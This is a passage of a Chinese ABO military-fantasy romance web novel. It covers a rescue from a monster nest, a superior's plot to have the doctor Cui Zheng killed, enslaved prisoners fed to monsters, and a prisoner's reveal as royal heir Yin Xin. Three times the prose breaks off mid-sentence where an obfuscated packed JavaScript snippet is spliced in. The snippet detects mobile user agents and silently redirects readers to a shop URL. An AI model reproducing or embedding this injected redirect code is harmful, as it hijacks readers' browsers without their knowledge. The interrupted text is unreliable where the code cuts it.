那是一张自拍。陆霆雨的自拍。 少年穿着一件黑色的紧身背心,红发散乱着站在镜子前,肌肉线条流畅的双臂一手撑着镜框,一手拍下了这张照片。上半身占据了大半幅画面,少年只露出了半张脸,脸颊有些泛红,嘴巴半张着,似乎是刚经过什么剧烈运动,有些喘。 他身上的黑色背心被汗水打湿,在胸前洇出一片深色的汗渍,勾勒出少年劲瘦偾张的曲线。 只是一张普通的自拍,崔狰却微微眯了眯眼。他认得那件背心,那不是陆霆雨的—— 是他的。 似乎是在沙沅家里,他和陆霆雨打了一整日,打算去洗澡休息一阵的时候,他随手脱下自己的背心丢进浴室的脏衣篓里。 他以为衣服被沙宅的佣人拿去洗了,没想到竟被陆霆雨捡走了。 背心不是陆霆雨的,汗渍也不是陆霆雨的。 年轻气盛的少将军就这样将沾满他汗渍的脏衣服穿在自己身上,看那副模样,似乎还穿着它干了什么坏事。 崔狰的视线落到照片描述上,深紫的瞳孔蔓上一层暗色。 -[男友背心。] 指尖突然有些麻痒,那日握住少年腰肢的紧实触感重新浮现在崔狰的脑海。 如果自己当着他的面翻出那件背心,不知道这位少将军会是什么表情。 崔狰突然觉得等待的时间有些漫长。 然而,这样的等待持续了整整三日,陆霆雨还是没有回来。 来的人是罗威。 副将的脸上是从未见过的惊惶与恐惧,他喉头滚动几下,艰难地将再也无法隐瞒的消息告知崔狰: “崔医生,少将军他……出事了。” 17.亲我 碎环之丘自从被黯蚀体当成巢穴,就弥漫着遮天蔽日的黑风沙。崔狰穿着防风斗篷,戴着护目镜,手提风灯,走在队伍正中。 他的四周是一队形制规整的黑甲,呈回字形将他护在其中。Alpha士兵们精壮的身体隐藏于黑色翼甲之下,只剩颈上的定位信号在暗无天日的黑风沙中荧荧明灭。 “停!” 罗威伸出一只手,叫停了队伍。 “崔医生,少将军的信号就是在这里消失的。”罗威对崔狰道。 漫天黑风沙中,隐约能看见前方一片巨大的建筑群,屋宇林立,立柱参天。只是屋宇已然破败,立柱布满裂痕。这里是曾经的王族宫殿。 “当时我们分头进去探查,少将军进了其中一间偏殿,就、就这么消失了!”旁边一名Alpha士兵声音中满是自责,“我们找遍了附近的宫殿,都没能找到他……” “带我去那间偏殿。”崔狰声音平静。 罗威有些踌躇,崔医生只是个医兵,况且少将军走前交代过要保护好崔医生,他把崔医生带下行军舰,真的合适吗? “他若当真命悬一线,只有我能救他。”崔狰似乎猜到他在想什么。 罗威咬了咬牙,伸手一挥,“带路!” 一队黑甲跟在崔狰身后,迈着沉重的步伐进入宫殿残墟,很快找到了陆霆雨消失的偏殿。 偏殿很宽敞,破败中隐隐能看出曾经雕金砌玉的精致模样。罗威打量一圈,疑惑道:“这里没有黯蚀体,也没有打斗的痕迹,少将军会去哪里?” “我们怀疑这里有暗室,可是找了许久都没有发现进入的机关。”那名Alpha士兵有些沮丧。 “或许在意想不到的地方。”崔狰沉吟,“分头找,不要放过任何角落。” 罗威点点头,带着士兵们四散开来。崔狰踏上一段破败的大理石台阶,在一幅巨大的画像前停了下来。 画像中是一名美丽的少女,一头乌黑的长发随意散落,漆黑的瞳孔中透出浅浅的笑意,正抱着一只漂亮的灰白色小猫,斜倚在窗边。 画像栩栩如生,就连小猫身上的灰白毛发都纤毫毕现。崔狰看了许久,突然想到什么。 -[毛色跟他的发色一样……挺好摸的。] 他试探着抬起手,顺着画中小猫的毛发,缓缓摸了摸。 “轰隆!” 一声机关转动的巨响,画像底部的地面猛然转动,崔狰猝不及防被甩入画像背后弹开的暗门之中。 眼前是一片伸手不见五指的黑暗。 崔狰摸了摸身后的墙壁,暗门已经彻底合上,外头的声音一丝一毫都没有传进来,身份环上的信号也突然消失了。 幸好风灯还在,崔狰点亮风灯,沿着面前幽黑的长廊往前走去。 长廊幽邃曲折,不知走了多久,终于抵达尽头。这是一处露台,前方已经没有路,却赫然有一座悬浮在半空的浮空花园。花园精美瑰丽,想必是花费许多心思设计的,只是如今花园里既没有漂亮的花草,也没有花草的香气。 只有无数黑灰色的影子,重重叠叠,雾气森森。 黯蚀体。 崔狰心头一沉,这个浮空花园,竟是一处黯蚀体的巢穴! 夏夜雷雨倾盆暴虐,混杂着浓重的血腥味扑面而来。 风灯明灭,影影绰绰之中,一道修长的身影浑身浴血,持刀而立。 崔狰眉头紧皱,厉喝一声:“陆霆雨,身后!” “簌——!” 长刀破风而过,斩断身后偷袭的黯蚀体。灰雾状的怪物却好似不知道痛,重新扑了上来。 一只,两只,三只……陆霆雨不知道已经战斗了多久,脚下堆了层层叠叠灰黑色的石块,那是黯蚀体死亡后的结晶。可黯蚀体的数量实在太多了,密密麻麻将陆霆雨包围其中,让他连逃跑的空隙都寻不到,只能在这处生死擂台上,被怪物们一点一点消耗生命。 夏夜雷雨的味道从清冽变得异常焦苦,崔狰眸色沉了沉。他已经是强弩之末。 在沙家的时候与他连日战斗,陆霆雨的信息素始终处于兴奋混乱的状态之中,一路赶来还没来得及好好休息,又在这里陷入苦战。 如果继续强行使用信息素,即便是S级Alpha,也只能面临信息素暴走溃散的死局。 他摸到露台的一处按钮,通往浮空花园的长梯缓缓降下。崔狰一步一步向上走去。 “你……干什么……”陆霆雨咬牙抵挡下一波攻击,信息素失控的感觉让他双目都有些模糊,可他还是看清了那个再熟悉不过的身影。 “别过来!”他怒声吼道,“崔狰,走开!” 黯蚀体们很快就发现了另一个食物的存在,纷纷朝靠近的崔狰扑去。陆霆雨双目赤红,长刀如流火,硬生生劈开一条路,冲到崔狰面前,将他挡住。 他浑身都在往下滴着血,分不清哪里是伤口,哪里是好肉。颤抖的双手,失焦的瞳孔,浑浊的信息素,是他力竭的前兆。 灰雾状的怪物像一道灰色闪电,霎时就出现在陆霆雨冲向的位置,不等他站稳,新一轮的攻击没有丝毫喘息地压了下来。 陆霆雨知道自己该举起发沉的手臂,挡下这些攻击,可失控的信息素让他的动作陷入迟滞。 没有力气了。他有些懊恼地想,第一次带崔狰出任务,就让他看到这么狼狈的样子。 好在,虽然没力气,但只要用身体挡下,就不会伤到崔狰。 长刀垂落,陆霆雨转身抱紧崔狰,用后背接下致命的一击。 “锵!” 预想中的疼痛没有到来,庞大而强势的信息素随着黑钢小刀飞旋而出,余光瞥过,陆霆雨的脚边霎时零零落落掉了一堆灰黑色石头。 “不是说很快回来吗?怎么去了这么久。”低沉好听的声音钻入耳朵,伴随着浓郁而纯净的抑制剂味道将他包裹。陆霆雨的意识稍稍回拢,他顾不上说话,只急促地呼吸着,像汲取赖以存活的甘霖。 “长官既然带了随队医兵,怎么不用?”崔狰单手将人揽在怀里,一面抵挡黯蚀体的攻击,一面问,“是不需要我帮忙吗?” 战意高涨,他日夜渴求的味道近在咫尺。陆霆雨用力揽住崔狰的脖颈,循着本能找到那处美味所在。 “需要……我需要你。”他喃喃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938557|191895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重复,“崔狰,我需要你,需要你……” 滚烫的唇重重压上后颈的腺体,反复碾磨,吮吸。陆霆雨一时分不清身体的颤抖是因为疼痛还是兴奋。 “崔医生,帮帮我……我好疼,好难受……” 长刀重新举起,陆霆雨攀在高大的男人肩头,入迷地吮吃着,浮空花园中,恍惚有乌云盖顶,电闪雷鸣。 “哗啦!” 是刀锋刺破灰雾的声音。亦或是暴雨倾盆而下的声音。 暴雨滂沱,气势万钧,带着锋锐的杀意扫荡而过。夏夜雷雨无休无止,重新洗刷天地,直至破败的花园恢复澄明。 灰雾尽数散去,灰黑色的石头厚厚铺了满地。 陆霆雨倒在地上,感觉自己已经连一根手指头都抬不起来了。他艰难地转了转头,问崔狰:“你有没有受伤?” 崔狰脱下自己身上破烂脏污的防风斗篷丢在一边,露出只穿了一件黑色背心的精壮上身,蹲下身低叹一声:“长官,我们之间谁才是受伤的那个,应该非常明显。” 陆霆雨仔细打量他一圈,这才放心地闭上眼,“那就好。” “好在哪?”崔狰替他擦了擦脸上的血迹,“哪有长官替下属挡伤的?” 浅杏色的眼睛重新睁开,里面多了些笑意。 “不是替下属,”陆霆雨莫名有些得意,“是替男朋友。” 虽然受伤了有点逊,但和崔狰一起端了黯蚀体的巢穴,又让他有些飘飘然。尤其是崔狰刚才主动把信息素喂到他嘴边。 想到刚才的场景,陆霆雨耳根发烫,心底火热,感觉如果以后上战场都能搂着个崔医生,那他或许可以一连单挑十个黯蚀体巢穴。 崔狰被他的神情逗笑,故意道:“长官的衣服都被血浸透了,穿着不难受吗?不如我身上的先借长官穿一穿。” 陆霆雨视线飞速在他的黑色背心上扫过,像是想起什么,眸底的心虚一闪而过。 “不必,我穿不惯别人的衣服。”他表情严肃,又强调一遍,“我不会随便穿别人的……” 唇上降下一点温热,又很快离开。低沉好听的声音像电流钻入他的耳朵。 “笨蛋。” 陆霆雨心脏重重一跳,已经脱力的四肢神迹般恢复一点知觉,一把拽住想要站起身的崔狰。 “再亲一下。”陆霆雨双眼亮得惊人。 “亲什么?”崔狰假作不知。 “亲我。” 崔狰笑出声,“长官,这里是黯蚀体巢穴。” “亲我。” “不行。” “崔医生,我受伤很重,全身都很痛。”陆小将军可怜巴巴,“再亲一下吧,就一下。” 小孩子的手段只有三招,耍酷,撒娇,装可怜。偏偏崔狰觉得,好像都挺管用的。 他俯下身,碰了碰陆霆雨的唇。 脖颈被揽住,浅吻被贪吃的小狮子加深,变成缠绵的温存。 温柔肆意蔓延,一时间,谁都没注意到,浮空花园下的露台上,多了一个人。 深蓝短发,冰蓝眼瞳,庄严肃穆的军装立领包裹住后颈,像最古板的教徒。 18.让我闻闻 黑风沙狂呼怒啸,偏殿中升起熊熊火堆,好似末日中唯一的慰藉。 崔狰垂眸坐在火堆边,英挺的侧脸一半隐入黑暗,一半被火光照透,显出一种令人心惊的肃杀。 “崔医生这是第二次救了我弟弟。”蓝发蓝眸的督帅嘴角挂着一抹身居高位者惯有的笑,随意转动手腕行了个下士礼,浑身散发出成熟男人的从容。 “身为哥哥,我感激不尽。” 真是虚伪到令人作呕,崔狰淡淡瞥他一眼。陆霆雨力竭昏迷,已经被单独送往赛德亚城的营地休养,崔狰却出于答应治疗陆谊言的承诺,继续留下来当随队医兵。 “督帅阁下不是说受伤了吗?伤在哪了?”崔狰问。 陆谊言微微偏头思索一阵,“让我想想……或许是碎环之丘的天气太过恶劣,黑风沙灌进领子里,磨伤了皮肤?” “哦?”崔狰视线扫过被高高竖起的立领完美遮盖的腺体位置,“那能否劳烦督帅阁下把军装脱了,方便我检查。” 虚伪的笑容凝在脸上,陆谊言面色倏然阴沉。 “崔狰,医生扮演游戏好玩吗?”男人终于露出不加掩饰的恶意,“听说你在特战部人气很旺,士兵们都很喜欢你,私底下叫你……联盟公用抑制剂?” 他凑到崔狰身边,俯下身,挑衅般嗅了嗅,“让我闻闻,跟超市货架上的货色有什么区别?” 崔狰拿木棍拨了拨火堆,语气有几分漫不经心,“督帅阁下一个Beta,也能闻出Alpha的信息素吗?还是说……” 他抬了抬眸,火光照出眼瞳中的一丝讥讽,“阁下并非是Beta。” 陆谊言的脸色瞬间变得很难看。 “看来少将军央求我给您治疗,并非出自您的本意。” 橙红的火堆在陆谊言冰蓝色的瞳孔中燃烧,怨毒的话语落入崔狰的耳朵。 “治疗?肮脏残暴的劣兽披上人皮,就真把自己当成白衣天使了。你说,被你害死的亲人看到你这副样子,会不会感到欣慰?” 崔狰将木棍丢进火堆,看着火舌将它吞没,“看来督帅阁下不想治疗,那我就不打扰阁下休息了。” “等等。”陆谊言叫住他,嘴角重新挂上一抹虚伪的笑意,“特战部赏罚分明,崔医生既然救人有功,我自当为你嘉奖。” 他绕着崔狰缓缓踱步,军靴在空旷的偏殿内敲出笃笃回声。 “不如就奖赏崔医生一个立功的机会,如何?”陆谊言停下脚步,“正好联盟议会有急件需要处理,我不得不提前返回赛德亚城,明天的任务就由崔医生带队去完成。” 崔狰掀了掀眼皮,“督帅阁下是让一个医兵上战场?” “不,我只是让嗜血的劣兽回到适合他的位置。”陆谊言笑道,“任务完成的话,我可以许诺崔医生晋升高等医兵的机会。” 笑意中,毒蛇嘶嘶吐出沾满毒液的信子。 “当然,前提是你能活着回来的话。” 火堆劈啪作响,静静观视两人间的沉默。良久,崔狰开口:“多谢阁下。我愿为特战部鞠躬尽瘁,不过……我需要一个帮手。” 他手指向的方向,是偏殿阴影处摆放着的一只只巨大铁笼。铁笼的造型有些像狗笼,只不过要大上许多,笼顶和底部都有便于运输提放的轨道和爪刺。 每只笼中,挤挤挨挨装了几十号人。 “枭奴?”陆谊言挑了挑眉,“别说一个,这批带出来826名枭奴,尽数归你使用。” 崔狰没有应声,他的视线落在其中一名枭奴身上。那人白发白瞳,样貌出众,身形峻拔,静静伫立在笼中。 是3586。 崔狰从陆谊言带人卸下枭笼的时候就注意到他了,只是那个在特战部的时候“主人主人”喊个不停,总是黏着他不撒手的3586却仿佛不认识他似的,自从进入偏殿,就出神般注视着一样东西——墙壁上的黑发少女画像。 “梁违。”陆谊言将一名士兵喊来,对崔狰道,“这是直遣队的队长梁违,明日你就跟他一道去。” 梁违先是将手中一只药瓶递给陆谊言,低声道:“您的药。”崔狰余光扫过瓶身包装,似乎是镇痛剂。 梁违又转向崔狰,向他行了个军礼,“崔医生。” 崔狰没见过他。直遣队虽然也是特战部的人,但直属于陆谊言调派,常年驻扎在赛德亚城的营地,鲜少回第三军区。 他朝梁违点了点头,“梁队长,请多关照。” “是该多关照。”陆谊言拍了拍梁违的肩膀,像任何一个关心下属的长官,“你可要……好好保护好崔医生。” * 黑风沙肆虐了整整一夜,第二日一早,总算稍稍停歇。 梁违效率很高,迅速整理好队伍,便带队向任务点进发。为了照顾崔狰,他给崔狰也准备了一套翼甲,整整齐齐的黑色翼甲小队气势凛然,井然有序。在翼甲军身后,则是一辆巨型装载车,专门用来装载枭奴。 “梁队长这是往黯蚀体的巢穴去?”崔狰全身包裹在黑甲之中,只露出一双深邃的紫色眼瞳,询问地看向梁违。 “黯蚀体巢穴?”梁违摇了摇头,“为什么要去那种地方,我们接到的并不是清扫任务,而是采集任务。” “采集任务?”崔狰眉头皱了皱,他从没听说过碎环之丘战场还有采集任务。若说陆谊言故意不告诉他倒是有可能,但陆霆雨不可能不告诉他,除非,陆霆雨也不知道。 这次陆谊言亲自带兵来碎环之丘,本就十分奇怪,如今看来,这任务并不寻常。陆谊言并没有受伤,却刻意呼叫了陆霆雨来增援,也许为的就是将这个不寻常的任务交接给他。只可惜陆霆雨误闯黯蚀体巢穴受了重伤,陆谊言只好作罢。 想到陆谊言,崔狰又问:“梁队长昨晚给督帅阁下的药是镇痛剂?莫非阁下当真是被黑风沙磨伤了皮肤?” 梁违大笑起来,“咱们督帅阁下哪有这么娇气,他虽然是个Beta,但能力和手段丝毫不输Alpha。至于镇痛剂……” 他摊了摊手,“或许督帅身上有陈年旧伤?这不是我该打听的事,我只知道督帅身边常年都备着镇痛剂。他身为一个Beta,要统领全是Alpha的特级作战部,承受的压力可不是我们所能想象的。再加上他当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943523|191895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 选了最高议会的议员,陆家从一个名不见经传的落魄贵族,到隐隐有成为‘第十三贵族’的架势,背后不知道有多少眼红的人在盯着他,甚至想要他的命……” 似乎是察觉自己话中的不妥,梁违没再往下说,拍了拍崔狰的肩膀便走到队伍前头去了。 回想起他与陆谊言两次见面,对方毫不掩饰的厌恶态度,崔狰隐隐觉得有些怪异。他从八岁起就经历过许多人对他毫无理由的恶意,但大多是以嘲弄和取乐为主,陆谊言对他,却似乎有一丝若有若无的怨怼。 崔狰摇了摇头,不再思考关于陆谊言的问题。总归他是陆霆雨的哥哥,若他对自己的刁难只限于让他随队做任务吃点苦头,那崔狰也不打算多跟他计较。 行进的队伍绕过王族宫殿遗址,又往前走了很远。没有风沙的时候,黯蚀体很少出来活动,一路上只零星遇到几只落单的黯蚀体,都被轻松解决。 中途队伍停下来休整过一次,梁违一行人摘下头盔,开始分发食物。崔狰也有一份,他却没吃,而是看向仍被装在长车上的数只巨型枭笼。 “枭奴的食物呢?”他问梁违。 梁违似乎愣了一下,随即大笑起来:“崔医生说笑了,任务中的枭奴是不进食的。” 崔狰垂了垂眼,走到一只枭笼旁边,将餐食中的一根烤玉米随手丢了出去。 “我不爱吃这个,你替我吃了。” 他没有具体指谁,但烤玉米却准确无误地落入3586手中。3586没有和崔狰说话,面上也没有任何表情,只像昨晚一样静静站立着,仿佛完全不认识崔狰。 旁边几名枭奴有些垂涎地看了看他手中的烤玉米,伸手就想来抢,3586透明的眼瞳中却突然露出凶光,抬脚就踹向那名枭奴。 笼中顿时骚乱起来,梁违走过来敲了敲笼柱,粗声警告道:“安静!” 枭奴们畏惧地看他一眼,瞬间老实下来,不敢再动作。 “崔医生倒是挺有爱心的。”梁违笑着夸了一句,只是在崔狰转身离去之后,那笑容在他脸上缓缓变冷。 他想起昨夜督帅阁下的命令。 “明天去采集,你知道该怎么做。”陆谊言声音阴沉,“不要让我看到不该回来的人。” 梁违面露踌躇,“可是少将军特地吩咐过,要保护好崔医生,不能让他少一根头发。” “呵。”陆谊言低笑一声,面色却更冷,“梁违,直遣队不用清扫边境战场,日日在赛德亚城吃香喝辣,日子过得很安逸吧?” 梁违背后瞬间出了一层冷汗,“督帅阁下,是我失言!您放心,我必叫崔狰有去无回!” “就凭他一个肮脏的杂种也敢觊觎我的弟弟。”深重的怨怒从陆谊言冰蓝的眼眸中溢出,“他早就该死了……早在他八岁那年,就该死在里里弗斯岛。” 回忆起督帅阁下昨晚阴鸷的面容,思及他平日里的雷霆手段,梁违望着崔狰的背影,面上闪过郁色。 “自己都活不了,还有心思担心枭奴。”他的声音很低,很快消散在风沙中。没人看到,他背后的枭笼中,一个白发白眸的枭奴正死死盯着他。 19.我不叫3586 天色渐暗,黑风沙又开始呜咽着袭来。 又前行许久,崔狰震了震翼甲,抖掉缝隙里的砂砾,对梁违道:“风沙越来越大,不如先找个地方扎营,明日再继续行动。” 梁违却摇了摇头,“不必等到明日,崔医生,我们到了。” 他伸手指向前方,黑风沙遮罩之下,影影绰绰有什么高大之物挺立着。崔狰推开黑甲头盔上的防风罩,定睛看去,深紫的眼瞳中划过一抹惊诧。 那竟是一棵粗壮的巨树! 树体高大,树杈有规律地对称生长,枝头却光秃秃的,没有花叶。树身似木似铁,通体漆黑,在风沙中隐隐流动着幽暗的光泽。仔细一瞧,那流动的光泽其实是树干肌理中分泌出的浆液。 “黑树……竟然真的存在。”崔狰喃喃。 “崔医生博识,居然知晓黑树。”梁违夸赞,“不愧是十二贵族崔家的后人。” 崔狰却皱紧了眉,“联盟史的记载之中,王族的‘黑树计划’不是失败了吗?为什么这里会有一棵黑树?” “历史这玩意儿,还不是活着的人想怎么写就怎么写。”梁违哈哈大笑,“我可不管史书怎么写,总之咱们今天的任务就是采集这棵树的树浆。” 他大手一挥,“兄弟们,干活!” 身穿黑甲的士兵们纷纷朝树下走去,取出专门的采集器开始采集黑树树干上流出的浓稠汁液。 那汁液黏腻,采集的士兵们身上不可避免地沾染上些许树浆。崔狰眉心蹙得更紧,心底莫名有种不安的感觉。 “督帅阁下为什么要采集树浆?”他伸手抓住梁违的肩膀,“是不是跟‘黑树计划’有关?” 梁违回头看他,“崔医生,这些不是你我该知道的,我们要做的,就是执行命令,懂吗?” 他挥开崔狰,一手提着装满树浆的采集器,对士兵们喊道:“采完收队!” “哐当!!”一声巨响自身后传来。 “艹!这个枭奴发什么疯?!”一名采集完树浆的士兵吓了一跳,手中采集器倾倒,黑色的汁液泼了满身。 长车上的一只枭笼里,3586正暴躁地撞击着笼柱,似乎想破笼而出。只是笼柱由特殊金属制成,坚硬无比,他的撞击收效甚微。 那名士兵拔出翼甲上的枪械,抬手就是一枪。 “砰!” 子弹打在了笼柱上。 “老实点!不然有你……呃!”士兵叫骂的话语猛地顿住。 一颗圆滚滚的脑袋骨碌碌掉到地上,士兵的嘴巴神经质地动了动,似乎想说完未尽的话。可他终究是说不出来了,无头的身躯呆立片刻,也随之轰然倒地。 没有了身躯的遮挡,露出后面一片形状佝偻的灰雾。 “该死!是黯蚀体!”梁违怒骂一声,冲士兵们道,“干掉它!” 没有人动。士兵们惊恐地注视着黑树,喉咙里发出颤抖的声音:“队长,黯蚀体……” 黑沙漫漫,树影萋萋。黑树之下,雾色如潮涌动,密密麻麻竟全是黯蚀体! 灰黑色的影子比闪电更迅疾,瞬间向树下提着采集器的几名士兵发起进攻。鲜血溅上树干,Alpha士兵们的信息素像风暴般混乱爆发,试图作出抵抗。可黯蚀体的数量实在太多,像是一整个巢穴……不,数十个巢穴的黯蚀体集体出动。 “它们似乎在保护黑树!”崔狰迅速拔出黑甲上的枪械,边向树下的灰雾扫射边沉声吼道,“丢掉树浆!” 黯蚀体没有视力,只靠气味分辨敌人,崔狰发现他们率先攻击的就是身上沾有树浆的士兵。 “不行!采集任务必须完成,树浆必须带回去!”梁违面色难看,眼神沉了沉,朝守在装载车边的士兵吼道,“打开枭笼!” 士兵没有犹豫,伸手按下装载车上的几个按钮。 轰隆隆! 机扩转动的声音响起,笼柱上下伸缩,消失无踪。826名枭奴像被装盘的食物,暴露在黯蚀体的包围之中。 梁违将手中装满树浆的采集器高高抛起,然后架起黑甲右臂上特制的轻型炮,一击轰向采集器。 采集器被冲击力撞飞到装载车顶上,轰然炸开!黑色树浆如雨水溅落在枭奴们身上。数量庞大的黯蚀体静立片刻,随即发出低沉的嗡鸣。 那是饥饿的信号。 “梁违,你在干什么!”崔狰一枪解决近在眼前的黯蚀体,声音中沾染上一丝怒意。 梁违冷冷看他一眼,“崔医生该不会不知道枭奴怎么用吧?” 装载车边传来惨烈的嘶喊,毫无抵抗力的枭奴成为了黯蚀体丰盛的晚餐。 “黯蚀体的移动速度非常恐怖,但是,一旦它们吃饱了,动作就会变得非常迟缓,杀起来毫不费力。”梁违唇角勾起一抹讥讽,“崔医生现在该知道,为什么任务中的枭奴不进食了吧。” 因为没有必要。他们的作用就是充当黯蚀体的口粮,将死之人,没必要进食。 “现在,也是时候轮到崔医生了。”梁违缓缓举起右臂,将轻型炮的炮口对准崔狰。 崔狰面上划过冷厉之色,同时举起了手中的枪械,可就在他想要动作的那一刻,翼甲上却突然传来一股剧烈的电流! “唔!”崔狰身躯一颤,单膝跪地,身上的翼甲不受他的控制,像一个微型牢笼,将他紧紧束缚。 “抱歉了崔医生,你的翼甲被我动了点小小的手脚。”黝黑的炮口泛着森冷的寒光,梁违扣动扳机。 “嘭——!!” 炮声轰鸣,黑沙化作细碎烟尘,遮天蔽日,将崔狰拢在其中。 “要怪就怪你得罪了不该得罪的人。”梁违收回手臂,正待转身,却忽觉有些不对。 烟尘中,似乎……还有一个人? 黑色烟尘环绕在他身侧,遮罩住他的头脸,只能隐约看见他的衣服上有个编号:3586。 枭奴挡在崔狰身前,手中举着一块厚重的铁片。那似乎是从装载车笨重的防弹车身上撕下来的,经过轻型炮的洗礼,已经残破不堪。被炸散的细碎铁块溅落一地,有很大一部分,深深嵌入了枭奴的身体。 鲜红的血液后知后觉地淌了满身,枭奴缓缓站起身,丢掉手中的铁片。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16948084|191895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你……!”梁违面露惊愕,“3586,你在干什么?!” 3586没有回答,他踩着梁违的尾音,鬼魅般出现在他身后。 “呃!” 梁违的脖颈被一截碎铁片割开,大股大股的鲜血争先恐后喷涌而出。 他僵硬地扭过头,黑烟散去,他看见枭奴半边脸全是血,一双眼睛像浸泡在血水中的黑曜石。 “你……呃……你……”梁违瞳孔惊恐地放大,不仅是眼瞳,3586那头属于低贱平民银白色头发,不知在何时已经彻底变成鸦羽般的乌黑。 “你……是……” 他死了。 黑发黑瞳的少年身躯有些摇晃,一步一步走回崔狰身边,徒手将崔狰身上的黑甲一片片拆下,丢到一旁。 崔狰身上半点都没有受到波及,刚才轻型炮炸开的一瞬间,3586身上爆发出惊人的信息素,替他挡下了全部攻击。 这不是一个平民Alpha能够拥有的力量。 ——王族。 黑发黑瞳,曾经是这片星云最尊贵的颜色,是王族的象征。 身上陡然一沉,是3586将梁违的翼甲脱了下来,穿到崔狰的身上。 “往南全速飞行,以翼甲的速度大约三天后能抵达赛德亚城。别再回特战部了,那不是什么好地方。”3586的声音很低,面色因失血而变得苍白。 崔狰一把拉住他的手腕,眸中复杂情绪一闪而过,“跟我走,你的身份不能在这个时候暴露。” 一个吞噬了黯蚀体,拥有黯蚀体部分能力的王族少年,在早已将王族驱逐出境的联盟,只会面临两种下场:摆入展示柜里,或者躺在手术台上。 崔狰不知道他是不是恢复了记忆,也不知道那个会抱着他撒娇的小怪物是不是已经消失在这具身体里了,但既然3586毫不犹豫地选择救他的性命,崔狰便不会扔下他不管。 3586轻轻摇了摇头,“我要留在这里,我有必须要做的事。” 他朝黑树走去。一路上,枭奴和士兵们的尸体铺了满地,狂欢的黯蚀体们见到他,想要攻击,却又在快要接触到的那一刻犹疑着停下。 3586把沾血的手掌贴上树干,黑色的树干迅速泛起一丝诡异的红色,随即是一声轰隆巨响。 黑树的下方,竟裂开一个幽深的入口! 尚且存活的枭奴们仿佛看到了生的希望,挣扎着向入口中扑了进去。说来也怪,黯蚀体们像是有什么忌讳,纷纷绕开入口,没有再追进去。 “这下面是……”崔狰跟在他身后,面露惊诧。 “王族陵墓。”3586低声道,“我必须进去弄清楚一些事……” 他转过头,语气冷淡,说出的话语却像是承诺,“等我弄明白一切,我会告诉你……你应该知道真相。” 崔狰定定望着他,“3586,你到底是谁?” 黑发少年一步一步走入深埋于黑树底下的王族陵墓,浑身血迹斑斑,伤痕遍布,脊背却挺得很直。 “我不叫3586。我乃王女银安的幼子,我叫银辛。” 20.像条狗一样趴在他脚边 “先生,您不能硬闯!这里是联盟议会理事部,先生!” 赛德亚城一处气派威严的大楼中,几名卫兵急急追在一名身材高大的男人身后。 男人面容非常英俊,但似乎是在外奔波许久,整个人都被风霜尘土打磨过,银灰色的发丝在额前垂下,半遮住一双深紫色的眼瞳,凌乱中透出一丝不易察觉的躁怒。 “先生,要不您先登记预约一下……”卫兵苦口婆心劝着。 “你跟这种蛮不讲理的无赖废什么话?我看咱们直接扑上去把他抓了!”身边一名年轻卫兵跃跃欲试,很快,脑袋上被同伴重重锤了一下。 “你不认得他是谁吗?”同伴低声道,“崔狰,议长阁下的儿子!” 崔狰一脚踹开一间办公室的门,发出一声巨大的闷响。办公室内的议员吓了一跳,瞪着眼睛望过来。 “抱歉,走错了。”崔狰面无表情,“陆谊言在哪间?” 议员下意识指了一个方向。 “多谢。”崔狰礼貌地关上门。 有了指引,这回他轻松找到了正确的地方。 “嘭!”又是一声巨大的踹门声。 卫兵欲哭无泪,“陆议员,这位先生他、他找您。” 还以为会迎来陆议员一顿呵斥的卫兵,却听办公室内安静片刻,然后响起一道有些沙哑的声音,“知道了,让他进来吧。” 已经进去了。年轻卫兵抬眼偷偷看了一眼议长阁下那个传说中被戴了绿帽生下来的便宜儿子,只觉崔家不愧是十二贵族,基因过于优越了,即便混了平民的低贱血脉,照样帅得有些过分。 办公室的门被关上,崔狰背手将门反锁。办公室很宽敞,里面似乎还有个可供休息的隔间。只是明明是大白天,墙边却拉着厚厚的窗帘,只留一条细缝勉强透进来一点光亮。 陆谊言正襟危坐在宽大的木质办公桌前,双手撑住下巴,低垂着头,崔狰看不清他的表情。 “督帅阁下没什么要跟我解释的吗?”他问。 “直遣队呢?”陆谊言声音愈加沙哑。 “死光了。”崔狰冷声道,“顺便一提,枭奴也不见了。” 陆谊言的语气没有波动,“看来采集任务失败了。” “陆谊言,你没有什么要跟我解释的吗?”崔狰又问一遍。 陆谊言沉默良久,突然道:“崔医生,我需要治疗。” 崔狰一愣,随即低低笑出声,“督帅阁下的脸皮还真是够厚的,才刚在战场上命人杀我,如今还能面不改色地让我给你治疗,你就不怕我杀了你?” 陆谊言没有回应他的质问,语气急促几分,“崔狰,我需要治疗!” 崔狰觉察出一丝不对劲,他走到墙边,一把拉开窗帘。 